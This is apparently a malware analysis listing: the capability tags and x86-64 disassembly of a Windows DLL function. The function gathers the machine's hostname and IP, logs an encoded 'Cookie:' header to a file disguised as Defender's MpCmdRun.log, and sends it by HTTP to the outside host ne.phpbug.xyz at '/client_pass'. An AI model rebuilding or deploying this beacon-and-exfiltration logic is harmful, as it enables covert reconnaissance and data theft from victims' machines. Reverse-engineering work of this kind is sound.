Function at 0x180001570
Capabilities:
Get hostname
Initialize winhttp library
Initialize winsock library
Prepare http request
Resolve dns
Set http header
Write file on windows

Disassembly:
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rsi
push rdi
mov eax, 0x1b18
call fcn.180001bc0
sub rsp, rax
mov rax, qword [0x1800211b0]
xor rax, rsp
mov qword [rsp + 0x1b00], rax
lea rdx, [rsp + 0xb0]
mov cx, 2
call qword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
jne 0x180001605
mov edx, 0x9b
lea rcx, [rsp + 0x260]
call qword [sym.imp.WS2_32.dll_gethostname]
test eax, eax
jne 0x1800015ff
lea rcx, [rsp + 0x260]
call qword [sym.imp.WS2_32.dll_gethostbyname]
mov qword [rsp + 0x68], rax
cmp qword [rsp + 0x68], 0
je 0x1800015ff
mov rax, qword [rsp + 0x68]
mov rax, qword [rax + 0x18]
mov rax, qword [rax]
mov ecx, dword [rax]
call qword [sym.imp.WS2_32.dll_inet_ntoa]
mov qword [rsp + 0x80], rax
call qword [sym.imp.WS2_32.dll_WSACleanup]
mov rcx, qword [rsp + 0x80]
call fcn.180001430
mov qword [rsp + 0x88], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 4
xor r9d, r9d
xor r8d, r8d
mov edx, 0x40000000
lea rcx, str.C:WindowsTempMpCmdRun.log
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov qword [rsp + 0x40], rax
cmp qword [rsp + 0x40], 0xffffffffffffffff
je 0x1800019aa
lea rax, [rsp + 0x250]
lea rcx, [0x180021068]
mov rdi, rax
mov rsi, rcx
mov ecx, 6
rep movsb byte [rdi], byte [rsi]
lea rax, [rsp + 0x256]
mov rdi, rax
xor eax, eax
mov ecx, 4
rep stosb byte [rdi], al
mov rdx, qword [rsp + 0x88]
lea rcx, [rsp + 0x300]
call fcn.180005c8c
lea rdx, [rsp + 0x250]
lea rcx, [rsp + 0x300]
call fcn.180005c60
mov rax, qword [rsp + 0x1b30]
mov rdx, qword [rax + 8]
lea rcx, [rsp + 0x300]
call fcn.180005c60
lea rdx, [rsp + 0x250]
lea rcx, [rsp + 0x300]
call fcn.180005c60
mov rax, qword [rsp + 0x1b38]
mov rdx, qword [rax + 8]
lea rcx, [rsp + 0x300]
call fcn.180005c60
lea rcx, [rsp + 0x300]
call fcn.1800014c0
mov qword [rsp + 0x70], rax
mov rcx, qword [rsp + 0x70]
call fcn.180005cc0
mov qword [rsp + 0x90], rax
lea r8, [rsp + 0xa0]
mov rdx, qword [rsp + 0x90]
mov rcx, qword [rsp + 0x70]
call section..text
mov qword [rsp + 0x78], rax
mov edx, 3
mov rcx, qword [rsp + 0x78]
call fcn.180001320
xor eax, eax
mov word [rsp + 0xb00], ax
lea rax, [rsp + 0xb02]
mov rdi, rax
xor eax, eax
mov ecx, 0xffe
rep stosb byte [rdi], al
lea rdx, str.Cookie:
lea rcx, [rsp + 0xb00]
call fcn.180005c8c
mov rcx, qword [rsp + 0x78]
call fcn.180001430
mov qword [rsp + 0x98], rax
mov rdx, qword [rsp + 0x98]
lea rcx, [rsp + 0xb00]
call fcn.180005c60
lea rdx, [0x180021088]
lea rcx, [rsp + 0xb00]
call fcn.180005c60
mov r9d, 2
xor r8d, r8d
xor edx, edx
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov qword [rsp + 0x20], 0
lea r9, [rsp + 0x50]
mov r8d, 0x28
lea rdx, [0x180021090]
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov qword [rsp + 0x20], 0
lea r9, [rsp + 0x50]
mov r8d, 0x400
lea rdx, [rsp + 0xb00]
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov qword [rsp + 0x20], 0
lea r9, [rsp + 0x50]
mov r8d, 0x28
lea rdx, str._r_n________________________________r_n
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [rsp + 0x54], 0
mov qword [rsp + 0x60], 0
mov qword [rsp + 0x58], 0
mov qword [rsp + 0x48], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, str.WinHTTP_Program_1.0
call qword [sym.imp.WINHTTP.dll_WinHttpOpen]
mov qword [rsp + 0x60], rax
cmp qword [rsp + 0x60], 0
je 0x1800018bc
xor r9d, r9d
mov r8w, 0x50
lea rdx, str.ne.phpbug.xyz
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.WINHTTP.dll_WinHttpConnect]
mov qword [rsp + 0x58], rax
cmp qword [rsp + 0x58], 0
je 0x1800018ff
mov dword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
xor r9d, r9d
lea r8, str._client_pass
lea rdx, [0x180021188]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.WINHTTP.dll_WinHttpOpenRequest]
mov qword [rsp + 0x48], rax
mov r9d, 0x20000000
mov r8d, 0xffffffff
lea rdx, [rsp + 0xb00]
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.WINHTTP.dll_WinHttpAddRequestHeaders]
cmp qword [rsp + 0x48], 0
je 0x180001956
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.WINHTTP.dll_WinHttpSendRequest]
mov dword [rsp + 0x54], eax
cmp dword [rsp + 0x54], 0
jne 0x180001971
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.Error__d_has_occurred._n
call fcn.180001ad0
cmp qword [rsp + 0x48], 0
je 0x180001984
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
cmp qword [rsp + 0x58], 0
je 0x180001997
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
cmp qword [rsp + 0x60], 0
je 0x1800019aa
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
mov rcx, qword [rsp + 0x1b00]
xor rcx, rsp
call fcn.180001c20
add rsp, 0x1b18
pop rdi
pop rsi
ret